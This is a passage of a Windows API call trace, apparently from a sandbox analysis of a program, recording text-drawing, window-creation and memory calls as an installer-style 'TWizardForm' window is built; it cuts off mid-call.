CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x391054, cbMultiByte=1, lpWideCharStr=0x39d55c, cchWideChar=1 | out: lpWideCharStr=" :\x0c") returned 1 [0261.031] DrawTextW (in: hdc=0x1b0106ca, lpchText=" :\x0c", cchText=1, lprc=0x18f77c, format=0x540 | out: lpchText=" :\x0c", lprc=0x18f77c) returned 13 [0261.031] ReleaseDC (hWnd=0x0, hDC=0x1b0106ca) returned 1 [0261.031] GetDC (hWnd=0x0) returned 0x1b0106ca [0261.031] SelectObject (hdc=0x1b0106ca, h=0x640a01f1) returned 0x18a002e [0261.031] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2c84f6c, cbMultiByte=1, lpWideCharStr=0x39c7d4, cchWideChar=1 | out: lpWideCharStr=" :\x0c") returned 1 [0261.031] DrawTextW (in: hdc=0x1b0106ca, lpchText=" :\x0c", cchText=1, lprc=0x18f77c, format=0x540 | out: lpchText=" :\x0c", lprc=0x18f77c) returned 13 [0261.031] ReleaseDC (hWnd=0x0, hDC=0x1b0106ca) returned 1 [0261.031] GetDC (hWnd=0x0) returned 0x1b0106ca [0261.031] GetTextMetricsA (in: hdc=0x1b0106ca, lptm=0x18f738 | out: lptm=0x18f738) returned 1 [0261.031] SelectObject (hdc=0x1b0106ca, h=0x640a01f1) returned 0x18a002e [0261.031] GetTextMetricsA (in: hdc=0x1b0106ca, lptm=0x18f770 | out: lptm=0x18f770) returned 1 [0261.031] SelectObject (hdc=0x1b0106ca, h=0x18a002e) returned 0x640a01f1 [0261.031] ReleaseDC (hWnd=0x0, hDC=0x1b0106ca) returned 1 [0261.031] GetSystemMetrics (nIndex=6) returned 1 [0261.031] GetDC (hWnd=0x0) returned 0x1b0106ca [0261.031] GetTextMetricsA (in: hdc=0x1b0106ca, lptm=0x18f66c | out: lptm=0x18f66c) returned 1 [0261.031] SelectObject (hdc=0x1b0106ca, h=0x640a01f1) returned 0x18a002e [0261.031] GetTextMetricsA (in: hdc=0x1b0106ca, lptm=0x18f6a4 | out: lptm=0x18f6a4) returned 1 [0261.031] SelectObject (hdc=0x1b0106ca, h=0x18a002e) returned 0x640a01f1 [0261.031] ReleaseDC (hWnd=0x0, hDC=0x1b0106ca) returned 1 [0261.031] GetSystemMetrics (nIndex=6) returned 1 [0261.032] GetDC (hWnd=0x0) returned 0x1b0106ca [0261.032] SelectObject (hdc=0x1b0106ca, h=0x640a01f1) returned 0x18a002e [0261.032] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2c840bc, cbMultiByte=1, lpWideCharStr=0x3abfcc, cchWideChar=1 | out: lpWideCharStr=" :\x0c") returned 1 [0261.032] DrawTextW (in: hdc=0x1b0106ca, lpchText=" :\x0c", cchText=1, lprc=0x18f77c, format=0x540 | out: lpchText=" :\x0c", lprc=0x18f77c) returned 13 [0261.032] ReleaseDC (hWnd=0x0, hDC=0x1b0106ca) returned 1 [0261.032] GetDC (hWnd=0x0) returned 0x1b0106ca [0261.032] SelectObject (hdc=0x1b0106ca, h=0x640a01f1) returned 0x18a002e [0261.032] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2c867a4, cbMultiByte=1, lpWideCharStr=0x39fa00, cchWideChar=1 | out: lpWideCharStr=" 9\x0c") returned 1 [0261.032] DrawTextW (in: hdc=0x1b0106ca, lpchText=" 9\x0c", cchText=1, lprc=0x18f77c, format=0x540 | out: lpchText=" 9\x0c", lprc=0x18f77c) returned 13 [0261.032] ReleaseDC (hWnd=0x0, hDC=0x1b0106ca) returned 1 [0261.032] GetDC (hWnd=0x0) returned 0x1b0106ca [0261.032] SelectObject (hdc=0x1b0106ca, h=0x640a01f1) returned 0x18a002e [0261.032] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2c867a4, cbMultiByte=1, lpWideCharStr=0x3a60c8, cchWideChar=1 | out: lpWideCharStr=" 9\x0c") returned 1 [0261.032] DrawTextW (in: hdc=0x1b0106ca, lpchText=" 9\x0c", cchText=1, lprc=0x18f77c, format=0x540 | out: lpchText=" 9\x0c", lprc=0x18f77c) returned 13 [0261.032] ReleaseDC (hWnd=0x0, hDC=0x1b0106ca) returned 1 [0261.032] LoadBitmapA (hInstance=0x0, lpBitmapName=0x7ff7) returned 0x12050178 [0261.033] GetObjectA (in: h=0x12050178, c=24, pv=0x18f780 | out: pv=0x18f780) returned 24 [0261.033] DeleteObject (ho=0x12050178) returned 1 [0261.033] VirtualAlloc (lpAddress=0x2c88000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x2c88000 [0261.034] GetDC (hWnd=0x0) returned 0x1b0106ca [0261.034] SelectObject (hdc=0x1b0106ca, h=0x640a01f1) returned 0x18a002e [0261.034] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2c883cc, cbMultiByte=1, lpWideCharStr=0x3b3734, cchWideChar=1 | out: lpWideCharStr=" ;\x0c") returned 1 [0261.034] DrawTextW (in: hdc=0x1b0106ca, lpchText=" ;\x0c", cchText=1, lprc=0x18f77c, format=0x540 | out: lpchText=" ;\x0c", lprc=0x18f77c) returned 13 [0261.034] ReleaseDC (hWnd=0x0, hDC=0x1b0106ca) returned 1 [0261.034] GetDC (hWnd=0x0) returned 0x1b0106ca [0261.034] GetTextMetricsA (in: hdc=0x1b0106ca, lptm=0x18f738 | out: lptm=0x18f738) returned 1 [0261.034] SelectObject (hdc=0x1b0106ca, h=0x640a01f1) returned 0x18a002e [0261.034] GetTextMetricsA (in: hdc=0x1b0106ca, lptm=0x18f770 | out: lptm=0x18f770) returned 1 [0261.034] SelectObject (hdc=0x1b0106ca, h=0x18a002e) returned 0x640a01f1 [0261.034] ReleaseDC (hWnd=0x0, hDC=0x1b0106ca) returned 1 [0261.034] GetSystemMetrics (nIndex=6) returned 1 [0261.034] GetDC (hWnd=0x0) returned 0x1b0106ca [0261.034] GetTextMetricsA (in: hdc=0x1b0106ca, lptm=0x18f66c | out: lptm=0x18f66c) returned 1 [0261.035] SelectObject (hdc=0x1b0106ca, h=0x640a01f1) returned 0x18a002e [0261.035] GetTextMetricsA (in: hdc=0x1b0106ca, lptm=0x18f6a4 | out: lptm=0x18f6a4) returned 1 [0261.035] SelectObject (hdc=0x1b0106ca, h=0x18a002e) returned 0x640a01f1 [0261.035] ReleaseDC (hWnd=0x0, hDC=0x1b0106ca) returned 1 [0261.035] GetSystemMetrics (nIndex=6) returned 1 [0261.035] GetDC (hWnd=0x0) returned 0x1b0106ca [0261.035] SelectObject (hdc=0x1b0106ca, h=0x640a01f1) returned 0x18a002e [0261.035] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2c893dc, cbMultiByte=1, lpWideCharStr=0x3ca848, cchWideChar=1 | out: lpWideCharStr=" <\x0c") returned 1 [0261.035] DrawTextW (in: hdc=0x1b0106ca, lpchText=" <\x0c", cchText=1, lprc=0x18f77c, format=0x540 | out: lpchText=" <\x0c", lprc=0x18f77c) returned 13 [0261.035] ReleaseDC (hWnd=0x0, hDC=0x1b0106ca) returned 1 [0261.035] GetDC (hWnd=0x0) returned 0x1b0106ca [0261.035] SelectObject (hdc=0x1b0106ca, h=0x640a01f1) returned 0x18a002e [0261.035] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2c896c8, cbMultiByte=1, lpWideCharStr=0x3c9f08, cchWideChar=1 | out: lpWideCharStr=" <\x0c") returned 1 [0261.035] DrawTextW (in: hdc=0x1b0106ca, lpchText=" <\x0c", cchText=1, lprc=0x18f77c, format=0x540 | out: lpchText=" <\x0c", lprc=0x18f77c) returned 13 [0261.035] ReleaseDC (hWnd=0x0, hDC=0x1b0106ca) returned 1 [0261.035] LoadBitmapA (hInstance=0x0, lpBitmapName=0x7ff7) returned 0x13050178 [0261.036] GetObjectA (in: h=0x13050178, c=24, pv=0x18f780 | out: pv=0x18f780) returned 24 [0261.036] DeleteObject (ho=0x13050178) returned 1 [0261.036] GetDC (hWnd=0x0) returned 0x1b0106ca [0261.036] SelectObject (hdc=0x1b0106ca, h=0x640a01f1) returned 0x18a002e [0261.036] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2c89fb4, cbMultiByte=1, lpWideCharStr=0x3c3500, cchWideChar=1 | out: lpWideCharStr=" <\x0c") returned 1 [0261.036] DrawTextW (in: hdc=0x1b0106ca, lpchText=" <\x0c", cchText=1, lprc=0x18f77c, format=0x540 | out: lpchText=" <\x0c", lprc=0x18f77c) returned 13 [0261.036] ReleaseDC (hWnd=0x0, hDC=0x1b0106ca) returned 1 [0261.036] GetDC (hWnd=0x0) returned 0x1b0106ca [0261.036] GetTextMetricsA (in: hdc=0x1b0106ca, lptm=0x18f724 | out: lptm=0x18f724) returned 1 [0261.036] SelectObject (hdc=0x1b0106ca, h=0x640a01f1) returned 0x18a002e [0261.036] GetTextMetricsA (in: hdc=0x1b0106ca, lptm=0x18f75c | out: lptm=0x18f75c) returned 1 [0261.036] SelectObject (hdc=0x1b0106ca, h=0x18a002e) returned 0x640a01f1 [0261.036] ReleaseDC (hWnd=0x0, hDC=0x1b0106ca) returned 1 [0261.036] GetSystemMetrics (nIndex=6) returned 1 [0261.036] GetDC (hWnd=0x0) returned 0x1b0106ca [0261.037] SelectObject (hdc=0x1b0106ca, h=0x640a01f1) returned 0x18a002e [0261.037] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2c8a874, cbMultiByte=1, lpWideCharStr=0x3cc428, cchWideChar=1 | out: lpWideCharStr=" <\x0c") returned 1 [0261.037] DrawTextW (in: hdc=0x1b0106ca, lpchText=" <\x0c", cchText=1, lprc=0x18f77c, format=0x540 | out: lpchText=" <\x0c", lprc=0x18f77c) returned 13 [0261.037] ReleaseDC (hWnd=0x0, hDC=0x1b0106ca) returned 1 [0261.037] GetDC (hWnd=0x0) returned 0x1b0106ca [0261.037] SelectObject (hdc=0x1b0106ca, h=0x640a01f1) returned 0x18a002e [0261.037] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2c846f4, cbMultiByte=1, lpWideCharStr=0x3cfff4, cchWideChar=1 | out: lpWideCharStr=" -\x0c") returned 1 [0261.037] DrawTextW (in: hdc=0x1b0106ca, lpchText=" -\x0c", cchText=1, lprc=0x18f77c, format=0x540 | out: lpchText=" -\x0c", lprc=0x18f77c) returned 13 [0261.037] ReleaseDC (hWnd=0x0, hDC=0x1b0106ca) returned 1 [0261.037] GetDC (hWnd=0x0) returned 0x1b0106ca [0261.037] GetTextMetricsA (in: hdc=0x1b0106ca, lptm=0x18f724 | out: lptm=0x18f724) returned 1 [0261.037] SelectObject (hdc=0x1b0106ca, h=0x640a01f1) returned 0x18a002e [0261.037] GetTextMetricsA (in: hdc=0x1b0106ca, lptm=0x18f75c | out: lptm=0x18f75c) returned 1 [0261.037] SelectObject (hdc=0x1b0106ca, h=0x18a002e) returned 0x640a01f1 [0261.037] ReleaseDC (hWnd=0x0, hDC=0x1b0106ca) returned 1 [0261.037] GetSystemMetrics (nIndex=6) returned 1 [0261.038] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0261.038] GetClassInfoA (in: hInstance=0x400000, lpClassName="TWizardForm", lpWndClass=0x18f650 | out: lpWndClass=0x18f650) returned 0 [0261.038] RegisterClassA (lpWndClass=0x18f5e8) returned 0x6ec1d8 [0261.038] CreateWindowExA (dwExStyle=0x101, lpClassName="TWizardForm", lpWindowName="WizardForm", dwStyle=0x86c80000, X=191, Y=139, nWidth=320, nHeight=240, hWndParent=0x80042, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0xb0060 [0261.039] SetWindowLongA (hWnd=0xb0060, nIndex=-4, dwNewLong=2297800) returned 4274892 [0261.039] GetWindowLongA (hWnd=0xb0060, nIndex=-16) returned -2033713152 [0261.039] SetPropA (hWnd=0xb0060, lpString=0xc167, hData=0x2c84fd8) returned 1 [0261.039] SetPropA (hWnd=0xb0060, lpString=0xc168, hData=0x2c84fd8) returned 1 [0261.039] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xb0060, Msg=0x81, wParam=0x0, lParam=0x18f17c) returned 0x1 [0261.039] SetMenu (hWnd=0xb0060, hMenu=0x0) returned 1 [0261.039] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xb0060, Msg=0x46, wParam=0x0, lParam=0x18eedc) returned 0x0 [0261.039] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xb0060, Msg=0x83, wParam=0x1, lParam=0x18eeb4) returned 0x0 [0261.040] IsIconic (hWnd=0xb0060) returned 0 [0261.040] GetWindowRect (in: hWnd=0xb0060, lpRect=0x18ec90 | out: lpRect=0x18ec90) returned 1 [0261.040] GetWindowLongA (hWnd=0xb0060, nIndex=-16) returned -2033713152 [0261.040] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xb0060, Msg=0x47, wParam=0x0, lParam=0x18eedc) returned 0x0 [0261.040] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xb0060, Msg=0x3, wParam=0x0, lParam=0xa400c2) returned 0x0 [0261.040] IsIconic (hWnd=0xb0060) returned 0 [0261.040] GetWindowRect (in: hWnd=0xb0060, lpRect=0x18e8b4 | out: lpRect=0x18e8b4) returned 1 [0261.040] GetWindowLongA (hWnd=0xb0060, nIndex=-16) returned -2033713152 [0261.040] IsIconic (hWnd=0xb0060) returned 0 [0261.040] GetWindowRect (in: hWnd=0xb0060, lpRect=0x18e88c | out: lpRect=0x18e88c) returned 1 [0261.040] GetWindowLongA (hWnd=0xb0060, nIndex=-16) returned -2033713152 [0261.040] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xb0060, Msg=0x5, wParam=0x0, lParam=0xd4013a) returned 0x0 [0261.040] GetWindowLongA (hWnd=0xb0060, nIndex=-16) returned -2033713152 [0261.040] GetWindowLongA (hWnd=0xb0060, nIndex=-16) returned -2033713152 [0261.040] IsIconic (hWnd=0xb0060) returned 0 [0261.040] GetClientRect (in: hWnd=0xb0060, lpRect=0x18e8a0 | out: lpRect=0x18e8a0) returned 1 [0261.040] GetWindowLongA (hWnd=0xb0060, nIndex=-16) returned -2033713152 [0261.040] GetWindowLongA (hWnd=0xb0060, nIndex=-16) returned -2033713152 [0261.040] IsIconic (hWnd=0xb0060) returned 0 [0261.040] GetClientRect (in: hWnd=0xb0060, lpRect=0x18e8a0 | out: lpRect=0x18e8a0) returned 1 [0261.040] GetWindowLongA (hWnd=0xb0060, nIndex=-16) returned -2033713152 [0261.040] GetWindowLongA (hWnd=0xb0060, nIndex=-16) returned -2033713152 [0261.040] IsIconic (hWnd=0xb0060) returned 0 [0261.040] GetClientRect (in: hWnd=0xb0060, lpRect=0x18e874 | out: lpRect=0x18e874) returned 1 [0261.040] GetWindowLongA (hWnd=0xb0060, nIndex=-16) returned -2033713152 [0261.040] GetWindowLongA (hWnd=0xb0060, nIndex=-16) returned -2033713152 [0261.041] IsIconic (hWnd=0xb0060) returned 0 [0261.041] GetClientRect (in: hWnd=0xb0060, lpRect=0x18e874 | out: lpRect=0x18e874) returned 1 [0261.041] SetScrollInfo (hwnd=0xb0060, nBar=1, lpsi=0x18e8a8, redraw=1) returned 0 [0261.041] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xb0060, Msg=0x7f, wParam=0x2, lParam=0x0) returned 0x0 [0261.041] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xb0060, Msg=0x7f, wParam=0x0, lParam=0x0) returned 0x0 [0261.041] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xb0060, Msg=0x7f, wParam=0x1, lParam=0x0) returned 0x0 [0261.042] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xb0060, Msg=0x7f, wParam=0x2, lParam=0x0) returned 0x0 [0261.042] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xb0060, Msg=0x7f, wParam=0x0, lParam=0x0) returned 0x0 [0261.042] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xb0060, Msg=0x7f, wParam=0x1, lParam=0x0) returned 0x0 [0261.042] GetWindowLongA (hWnd=0xb0060, nIndex=-16) returned -2033713152 [0261.042] IsIconic (hWnd=0xb0060) returned 0 [0261.042] GetClientRect (in: hWnd=0xb0060, lpRect=0x18e874 | out: lpRect=0x18e874) returned 1 [0261.043] GetWindowLongA (hWnd=0xb0060, nIndex=-16) returned -2033713152 [0261.043] IsIconic (hWnd=0xb0060) returned 0 [0261.043] GetClientRect (in: hWnd=0xb0060, lpRect=0x18e874 | out: lpRect=0x18e874) returned 1 [0261.043] SetScrollInfo (hwnd=0xb0060, nBar=0, lpsi=0x18e8a8, redraw=1) returned 0 [0261.043] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xb0060, Msg=0x7f, wParam=0x2, lParam=0x0) returned 0x0 [0261.043] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xb0060, Msg=0x7f, wParam=0x0, lParam=0x0) returned 0x0 [0261.043] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xb0060, Msg=0x7f, wParam=0x1, lParam=0x0) returned 0x0 [0261.044] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xb0060, Msg=0x7f, wParam=0x2, lParam=0x0) returned 0x0 [0261.044] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xb0060, Msg=0x7f, wParam=0x0, lParam=0x0) returned 0x0 [0261.044] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xb0060, Msg=0x7f, wParam=0x1, lParam=0x0) returned 0x0 [0261.045] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xb0060, Msg=0x83, wParam=0x1, lParam=0x18eac0) returned 0x0 [0261.045] GetSystemMenu (hWnd=0xb0060, bRevert=0) returned 0x60217 [0261.045] DeleteMenu (hMenu=0x60217, uPosition=0xf130, uFlags=0x0) returned 0 [0261.045] DeleteMenu (hMenu=0x60217, uPosition=0x7, uFlags=0x400) returned 0 [0261.045] DeleteMenu (hMenu=0x60217, uPosition=0x5, uFlags=0x400) returned 1 [0261.045] DeleteMenu (hMenu=0x60217, uPosition=0xf030, uFlags=0x0) returned 1 [0261.045] DeleteMenu (hMenu=0x60217, uPosition=0xf020, uFlags=0x0) returned 1 [0261.046] DeleteMenu (hMenu=0x60217, uPosition=0xf000, uFlags=0x0) returned 1 [0261.046] DeleteMenu (hMenu=0x60217, uPosition=0xf120, uFlags=0x0) returned 1 [0261.046] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xb0060, Msg=0x83, wParam=0x0, lParam=0x18f168) returned 0x0 [0261.046] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xb0060, Msg=0x1, wParam=0x0, lParam=0x18f17c) returned 0x0 [0261.046] IsIconic (hWnd=0xb0060) returned 0 [0261.046] GetWindowRect (in: hWnd=0xb0060, lpRect=0x18ef40 | out: lpRect=0x18ef40) returned 1 [0261.046] GetWindowLongA (hWnd=0xb0060, nIndex=-16) returned -2033713152 [0261.046] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xb0060, Msg=0x5, wParam=0x0, lParam=0xd4013a) returned 0x0 [0261.046] GetWindowLongA (hWnd=0xb0060, nIndex=-16) returned -2033713152 [0261.046] GetWindowLongA (hWnd=0xb0060, nIndex=-16) returned -2033713152 [0261.046] IsIconic (hWnd=0xb0060) returned 0 [0261.046] GetClientRect (in: hWnd=0xb0060, lpRect=0x18ef54 | out: lpRect=0x18ef54) returned 1 [0261.046] GetWindowLongA (hWnd=0xb0060, nIndex=-16) returned -2033713152 [0261.046] GetWindowLongA (hWnd=0xb0060, nIndex=-16) returned -2033713152 [0261.046] IsIconic (hWnd=0xb0060) returned 0 [0261.046] GetClientRect (in: hWnd=0xb0060, lpRect=0x18ef54 | out: lpRect=0x18ef54) returned 1 [0261.047] GetWindowLongA (hWnd=0xb0060, nIndex=-16) returned -2033713152 [0261.047] GetWindowLongA (hWnd=0xb0060, nIndex=-16) returned -2033713152 [0261.047] IsIconic (hWnd=0xb0060) returned 0 [0261.047] GetClientRect (in: hWnd=0xb0060, lpRect=0x18ef28 | out: lpRect=0x18ef28) returned 1 [0261.047] GetWindowLongA (hWnd=0xb0060, nIndex=-16) returned -2033713152 [0261.047] GetWindowLongA (hWnd=0xb0060, nIndex=-16) returned -2033713152 [0261.047] IsIconic (hWnd=0xb0060) returned 0 [0261.047] GetClientRect (in: hWnd=0xb0060, lpRect=0x18ef28 | out: lpRect=0x18ef28) returned 1 [0261.047] SetScrollInfo (hwnd=0xb0060, nBar=1, lpsi=0x18ef5c, redraw=1) returned 0 [0261.047] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xb0060, Msg=0x7f, wParam=0x2, lParam=0x0) returned 0x0 [0261.047] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xb0060, Msg=0x7f, wParam=0x0, lParam=0x0) returned 0x0 [0261.048] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xb0060, Msg=0x7f, wParam=0x1, lParam=0x0) returned 0x0 [0261.048] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xb0060, Msg=0x7f, wParam=0x2, lParam=0x0) returned 0x0 [0261.048] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xb0060, Msg=0x7f, wParam=0x0, lParam=0x0) returned 0x0 [0261.048] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xb0060, Msg=0x7f, wParam=0x1, lParam=0x0) returned 0x0 [0261.049] GetWindowLongA (hWnd=0xb0060, nIndex=-16) returned -2033713152 [0261.049] IsIconic (hWnd=0xb0060) returned 0 [0261.049] GetClientRect (in: hWnd=0xb0060, lpRect=0x18ef28 | out: lpRect=0x18ef28) returned 1 [0261.049] GetWindowLongA (hWnd=0xb0060, nIndex=-16) returned -2033713152 [0261.049] IsIconic (hWnd=0xb0060) returned 0 [0261.049] GetClientRect (in: hWnd=0xb0060, lpRect=0x18ef28 | out: lpRect=0x18ef28) returned 1 [0261.049] SetScrollInfo (hwnd=0xb0060, nBar=0, lpsi=0x18ef5c, redraw=1) returned 0 [0261.049] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xb0060, Msg=0x7f, wParam=0x2, lParam=0x0) returned 0x0 [0261.049] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xb0060, Msg=0x7f, wParam=0x0, lParam=0x0) returned 0x0 [0261.050] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xb0060, Msg=0x7f, wParam=0x1, lParam=0x0) returned 0x0 [0261.050] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xb0060, Msg=0x3, wParam=0x0, lParam=0xa400c2) returned 0x0 [0261.050] IsIconic (hWnd=0xb0060) returned 0 [0261.050] GetWindowRect (in: hWnd=0xb0060, lpRect=0x18ef68 | out: lpRect=0x18ef68) returned 1 [0261.050] GetWindowLongA (hWnd=0xb0060, nIndex=-16) returned -2033713152 [0261.050] IsIconic (hWnd=0xb0060) returned 0 [0261.050] GetWindowRect (in: hWnd=0xb0060, lpRect=0x18f578 | out: lpRect=0x18f578) returned 1 [0261.050] GetWindowLongA (hWnd=0xb0060, nIndex=-16) returned -2033713152 [0261.050] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xb0060, Msg=0x30, wParam=0x640a01f1, lParam=0x1) returned 0x0 [0261.050] GetWindowLongA (hWnd=0xb0060, nIndex=-16) returned -2033713152 [0261.050] GetWindowLongA (hWnd=0xb0060, nIndex=-16) returned -2033713152 [0261.050] IsIconic (hWnd=0xb0060) returned 0 [0261.050] GetClientRect (in: hWnd=0xb0060, lpRect=0x18f638 | out: lpRect=0x18f638) returned 1 [0261.432] GetWindowLongA (hWnd=0xb0060, nIndex=-16) returned -2033713152 [0261.432] GetWindowLongA (hWnd=0xb0060, nIndex=-16) returned -2033713152 [0261.432] IsIconic (hWnd=0xb0060) returned 0 [0261.432] GetClientRect (in: hWnd=0xb0060, lpRect=0x18f638 | out: lpRect=0x18f638) returned 1 [0261.432] GetWindowLongA (hWnd=0xb0060, nIndex=-16) returned -2033713152 [0261.432] GetWindowLongA (hWnd=0xb0060, nIndex=-16) returned -2033713152 [0261.432] IsIconic (hWnd=0xb0060) returned 0 [0261.432] GetClientRect (in: hWnd=0xb0060, lpRect=0x18f60c | out: lpRect=0x18f60c) returned 1 [0261.432] GetWindowLongA (hWnd=0xb0060, nIndex=-16) returned -2033713152 [0261.432] GetWindowLongA (hWnd=0xb0060, nIndex=-16) returned -2033713152 [0261.432] IsIconic (hWnd=0xb0060) returned 0 [0261.432] GetClientRect (in: hWnd=0xb0060, lpRect=0x18f60c | out: lpRect=0x18f60c) returned 1 [0261.432] SetScrollInfo (hwnd=0xb0060, nBar=1, lpsi=0x18f640, redraw=1) returned 0 [0261.433] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xb0060, Msg=0x7f, wParam=0x2, lParam=0x0) returned 0x0 [0261.433] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xb0060, Msg=0x7f, wParam=0x0, lParam=0x0) returned 0x0 [0261.433] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xb0060, Msg=0x7f, wParam=0x1, lParam=0x0) returned 0x0 [0261.433] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xb0060, Msg=0x7f, wParam=0x2, lParam=0x0) returned 0x0 [0261.433] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xb0060, Msg=0x7f, wParam=0x0, lParam=0x0) returned 0x0 [0261.434] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xb0060, Msg=0x7f, wParam=0x1, lParam=0x0) returned 0x0 [0261.434] GetWindowLongA (hWnd=0xb0060, nIndex=-16) returned -2033713152 [0261.434] IsIconic (hWnd=0xb0060) returned 0 [0261.434] GetClientRect (in: hWnd=0xb0060, lpRect=0x18f60c | out: lpRect=0x18f60c) returned 1 [0261.434] GetWindowLongA (hWnd=0xb0060, nIndex=-16) returned -2033713152 [0261.434] IsIconic (hWnd=0xb0060) returned 0 [0261.434] GetClientRect (in: hWnd=0xb0060, lpRect=0x18f60c | out: lpRect=0x18f60c) returned 1 [0261.434] SetScrollInfo (hwnd=0xb0060, nBar=0, lpsi=0x18f640, redraw=1) returned 0 [0261.434] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xb0060, Msg=0x7f, wParam=0x2, lParam=0x0) returned 0x0 [0261.434] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xb0060, Msg=0x7f, wParam=0x0, lParam=0x0) returned 0x0 [0261.434] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xb0060, Msg=0x7f, wParam=0x1, lParam=0x0) returned 0x0 [0261.435] SendMessageA (hWnd=0xb0060, Msg=0x80, wParam=0x1, lParam=0x0) returned 0x0 [0261.435] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xb0060, Msg=0x80, wParam=0x1, lParam=0x0) returned 0x0 [0261.435] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xb0060, Msg=0x7f, wParam=0x2, lParam=0x0) returned 0x0 [0261.435] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xb0060, Msg=0x7f, wParam=0x0, lParam=0x0) returned 0x0 [0261.435] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xb0060, Msg=0x7f, wParam=0x1, lParam=0x0) returned 0x0 [0261.436] ChangeWindowMessageFilterEx (in: hwnd=0xb0060, message=0xc12d, action=0x1, pChangeFilterStruct=0x0 | out: pChangeFilterStruct=0x0) returned 1 [0261.436] SetPropA (hWnd=0xb0060, lpString=0xc167, hData=0x2c84fd8) returned 1 [0261.436] SetPropA (hWnd=0xb0060, lpString=0xc168, hData=0x2c84fd8) returned 1 [0261.436] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0261.436] GetClassInfoA (in: hInstance=0x400000, lpClassName="TNewNotebook", lpWndClass=0x18f67c | out: lpWndClass=0x18f67c) returned 0 [0261.436] RegisterClassA (lpWndClass=0x18f614) returned 0xedc1d9 [0261.436] CreateWindowExA (dwExStyle=0x0, lpClassName="TNewNotebook", lpWindowName=0x0, dwStyle=0x46000000, X=0, Y=0, nWidth=497, nHeight=313, hWndParent=0xb0060, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x50050 [0261.436] SetWindowLongA (hWnd=0x50050, nIndex=-4, dwNewLong=2297748) returned 4274892 [0261.437] GetWindowLongA (hWnd=0x50050, nIndex=-16) returned 1174405120 [0261.437] GetWindowLongA (hWnd=0x50050, nIndex=-12) returned 0 [0261.437] SetWindowLongA (hWnd=0x50050, nIndex=-12, dwNewLong=327760) returned 0 [0261.437] SetPropA (hWnd=0x50050, lpString=0xc167, hData=0x2c83740) returned 1 [0261.437] SetPropA (hWnd=0x50050, lpString=0xc168, hData=0x2c83740) returned 1 [0261.437] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x50050, Msg=0x81, wParam=0x0, lParam=0x18f1d4) returned 0x1 [0261.437] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x50050, Msg=0x83, wParam=0x0, lParam=0x18f1c0) returned 0x0 [0261.437] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x50050, 